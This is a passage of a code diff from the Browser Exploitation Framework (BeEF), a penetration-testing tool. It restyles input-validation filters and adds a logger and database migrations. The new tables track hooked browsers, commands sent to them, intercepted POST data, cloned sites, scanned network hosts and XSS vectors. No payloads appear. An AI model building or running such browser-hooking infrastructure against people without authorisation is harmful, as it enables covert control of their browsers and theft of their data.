end
end
end
end

View File

@@ -1,86 +1,71 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false if not str.is_a? String
return false if has_non_printable_char?(str)
true
end
module Filters
# Check if the string is a valid path from a HTTP request
# @param [String] str String for testing
# @return [Boolean] If the string has valid path characters
def self.is_valid_path_info?(str)
return false if str.nil?
return false unless str.is_a? String
return false if has_non_printable_char?(str)
# Check if the command id valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid command id
def self.is_valid_command_id?(str)
return false if not is_non_empty_string?(str)
return false if not nums_only?(str)
true
end
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
# Check if the session id valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid hook session id characters
def self.is_valid_hook_session_id?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
true
end
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false if not has_valid_base_chars?(str)
true
end
# Check if valid command module datastore key
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore key characters
def self.is_valid_command_module_datastore_key?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_key_chars?(str)
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_base_chars?(str)
true
end
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
return false if not (str =~ /[^\w_\:]/).nil?
true
end
# Check if valid command module datastore value
# @param [String] str String for testing
# @return [Boolean] If the string has valid command module datastore param characters
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false unless has_valid_base_chars?(str)
end
true
end
# Check for word and some punc chars
# @param [String] str String for testing
# @return [Boolean] If the string has valid key characters
def self.has_valid_key_chars?(str)
return false unless is_non_empty_string?(str)
return false unless has_valid_base_chars?(str)
true
end
# Check for word and underscore chars
# @param [String] str String for testing
# @return [Boolean] If the sting has valid param characters
def self.has_valid_param_chars?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
return false unless (str =~ /[^\w_:]/).nil?
true
end
end
end

View File

@@ -1,73 +1,62 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
return false if not (str =~ /\.\./).nil?
return false if not (str =~ /\-\-/).nil?
true
module BeEF
module Filters
# Verify the hostname string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid hostname
def self.is_valid_hostname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil?
true
end
def self.is_valid_verb?(verb)
%w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true unless uri.nil?
# OPTIONS * is not yet supported
# return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
# return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/\r+/, '')
['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/\r+/, '')
return true if 'Host:'.eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != '/'
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => /
while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
def self.is_valid_verb?(verb)
["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v }
false
end
def self.is_valid_url?(uri)
return true if !uri.nil?
# OPTIONS * is not yet supported
#return true if uri.eql? "*"
# TODO : CHECK THE normalize_path method and include it somewhere (maybe here)
#return true if uri.eql? self.normalize_path(uri)
false
end
def self.is_valid_http_version?(version)
# from browsers the http version contains a space at the end ("HTTP/1.0\r")
version.gsub!(/[\r]+/,"")
["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v }
false
end
def self.is_valid_host_str?(host_str)
# from browsers the host header contains a space at the end
host_str.gsub!(/[\r]+/,"")
return true if "Host:".eql?(host_str)
false
end
def normalize_path(path)
print_error "abnormal path `#{path}'" if path[0] != ?/
ret = path.dup
ret.gsub!(%r{/+}o, '/') # // => /
while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => /
while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo
print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret
ret
end
end
end

View File

@@ -1,40 +1,30 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 50
true
end
module Filters
# Verify the page title string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid page title
def self.is_valid_pagetitle?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
true
end
# Verify the page referrer string is valid
# @param [String] str String for testing
# @return [Boolean] If the string is a valid referrer
def self.is_valid_pagereferrer?(str)
return false unless str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 350
true
end
end
end
end

View File

@@ -1,34 +1,22 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module HBManager
# Get hooked browser by session id
# @param [String] sid hooked browser session id string
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_session(sid)
BeEF::Core::Models::HookedBrowser.first(:session => sid)
BeEF::Core::Models::HookedBrowser.where(session: sid).first
end
# Get hooked browser by id
# @param [Integer] id hooked browser database id
# @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
def self.get_by_id(id)
BeEF::Core::Models::HookedBrowser.first(:id => id)
BeEF::Core::Models::HookedBrowser.find(id)
end
end
end

View File

@@ -1,22 +1,20 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# @note Include here all the gems we are using
require 'rubygems'
require 'bundler/setup'
# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,
# else metasploit integration dies due to undefined `to_msgpack`.
# Works fine on Ruby 2.4
require 'msgpack'
Bundler.require(:default)
require 'cgi'
require 'yaml'
require 'singleton'
@@ -24,6 +22,26 @@ require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'openssl'
require 'eventmachine'
require 'thin'
require 'rack'
require 'em-websocket'
require 'uglifier'
require 'execjs'
require 'ansi'
require 'term/ansicolor'
require 'json'
require 'otr-activerecord'
require 'parseconfig'
require 'erubis'
require 'mime/types'
require 'optparse'
require 'resolv'
require 'digest'
require 'zip'
require 'logger'
# @note Logger
require 'core/logger'
# @note Include the filters
require 'core/filters'
@@ -38,4 +56,4 @@ require 'core/api'
require 'core/settings'
# @note Include the core of BeEF
require 'core/core'
require 'core/core'

21
core/logger.rb Normal file
View File

@@ -0,0 +1,21 @@
#
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#
# @note log to file
#
module BeEF
class << self
attr_writer :logger
def logger
@logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
log.progname = name
log.level = Logger::WARN
end
end
end
end

View File

@@ -0,0 +1,8 @@
class CreateCommandModules < ActiveRecord::Migration[6.0]
def change
create_table :command_modules do |t|
t.text :name
t.text :path
end
end
end

View File

@@ -0,0 +1,15 @@
class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
def change
create_table :hooked_browsers do |t|
t.text :session
t.text :ip
t.text :firstseen
t.text :lastseen
t.text :httpheaders
t.text :domain
t.integer :port
t.integer :count
t.boolean :is_proxy
end
end
end

View File

@@ -0,0 +1,10 @@
class CreateLogs < ActiveRecord::Migration[6.0]
def change
create_table :logs do |t|
t.text :logtype
t.text :event
t.datetime :date
t.references :hooked_browser
end
end
end

View File

@@ -0,0 +1,12 @@
class CreateCommands < ActiveRecord::Migration[6.0]
def change
create_table :commands do |t|
t.references :command_module
t.references :hooked_browser
t.text :data
t.datetime :creationdate
t.text :label
t.boolean :instructions_sent, default: false
end
end
end

View File

@@ -0,0 +1,11 @@
class CreateResults < ActiveRecord::Migration[6.0]
def change
create_table :results do |t|
t.references :command
t.references :hooked_browser
t.datetime :date
t.integer :status
t.text :data
end
end
end

View File

@@ -0,0 +1,8 @@
class CreateOptionCaches < ActiveRecord::Migration[6.0]
def change
create_table :option_caches do |t|
t.text :name
t.text :value
end
end
end

View File

@@ -0,0 +1,9 @@
class CreateBrowserDetails < ActiveRecord::Migration[6.0]
def change
create_table :browser_details do |t|
t.text :session_id
t.text :detail_key
t.text :detail_value
end
end
end

View File

@@ -0,0 +1,14 @@
class CreateExecutions < ActiveRecord::Migration[6.0]
def change
create_table :executions do |t|
t.text :session_id
t.integer :mod_count
t.integer :mod_successful
t.text :mod_body
t.text :exec_time
t.text :rule_token
t.boolean :is_sent
t.integer :rule_id
end
end
end

View File

@@ -0,0 +1,16 @@
class CreateRules < ActiveRecord::Migration[6.0]
def change
create_table :rules do |t|
t.text :name
t.text :author
t.text :browser
t.text :browser_version
t.text :os
t.text :os_version
t.text :modules
t.text :execution_order
t.text :execution_delay
t.text :chain_mode
end
end
end

View File

@@ -0,0 +1,8 @@
class CreateInterceptor < ActiveRecord::Migration[6.0]
def change
create_table :interceptors do |t|
t.text :ip
t.text :post_data
end
end
end

View File

@@ -0,0 +1,8 @@
class CreateWebCloner < ActiveRecord::Migration[6.0]
def change
create_table :web_cloners do |t|
t.text :uri
t.text :mount
end
end
end

View File

@@ -0,0 +1,13 @@
class CreateNetworkHost < ActiveRecord::Migration[6.0]
def change
create_table :network_hosts do |t|
t.references :hooked_browser
t.text :ip
t.text :hostname
t.text :ntype
t.text :os
t.text :mac
t.text :lastseen
end
end
end

View File

@@ -0,0 +1,11 @@
class CreateNetworkService < ActiveRecord::Migration[6.0]
def change
create_table :network_services do |t|
t.references :hooked_browser
t.text :proto
t.text :ip
t.text :port
t.text :ntype
end
end
end

View File

@@ -0,0 +1,40 @@
class CreateHttp < ActiveRecord::Migration[6.0]
def change
create_table :https do |t|
t.text :hooked_browser_id
# The http request to perform. In clear text.
t.text :request
# Boolean value as string to say whether cross-origin requests are allowed
t.boolean :allow_cross_origin, default: true
# The http response body received. In clear text.
t.text :response_data
# The http response code. Useful to handle cases like 404, 500, 302, ...
t.integer :response_status_code
# The http response code. Human-readable code: success, error, ecc..
t.text :response_status_text
# The port status. closed, open or not http
t.text :response_port_status
# The XHR Http response raw headers
t.text :response_headers
# The http response method. GET or POST.
t.text :method
# The content length for the request.
t.text :content_length, default: 0
# The request protocol/scheme (http/https)
t.text :proto
# The domain on which perform the request.
t.text :domain
# The port on which perform the request.
t.text :port
# Boolean value to say if the request was cross-origin
t.text :has_ran, default: 'waiting'
# The path of the request.
# Example: /secret.html
t.text :path
# The date at which the http response has been saved.
t.datetime :response_date
# The date at which the http request has been saved.
t.datetime :request_date
end
end
end

View File

@@ -0,0 +1,9 @@
class CreateRtcStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_statuss do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,9 @@
class CreateRtcManage < ActiveRecord::Migration[6.0]
def change
create_table :rtc_manages do |t|
t.references :hooked_browser
t.text :message
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -0,0 +1,10 @@
class CreateRtcSignal < ActiveRecord::Migration[6.0]
def change
create_table :rtc_signals do |t|
t.references :hooked_browser
t.integer :target_hooked_browser_id
t.text :signal
t.text :has_sent, default: 'waiting'
end
end
end

View File

@@ -0,0 +1,10 @@
class CreateRtcModuleStatus < ActiveRecord::Migration[6.0]
def change
create_table :rtc_module_statuss do |t|
t.references :hooked_browser
t.references :command_module
t.integer :target_hooked_browser_id
t.text :status
end
end
end

View File

@@ -0,0 +1,10 @@
class CreateXssraysDetail < ActiveRecord::Migration[6.0]
def change
create_table :xssraysdetails do |t|
t.references :hooked_browser
t.text :vector_name
t.text :vector_method
t.text :vector_poc
end
end
end

View File

@@ -0,0 +1,10 @@
class CreateDnsRule < ActiveRecord::Migration[6.0]
def change
create_table :dns_rules do |t|
t.text :pattern
t.text :resource
t.text :response
t.text :callback
end
end
end

Some files were not shown because too many files have changed in this diff Show More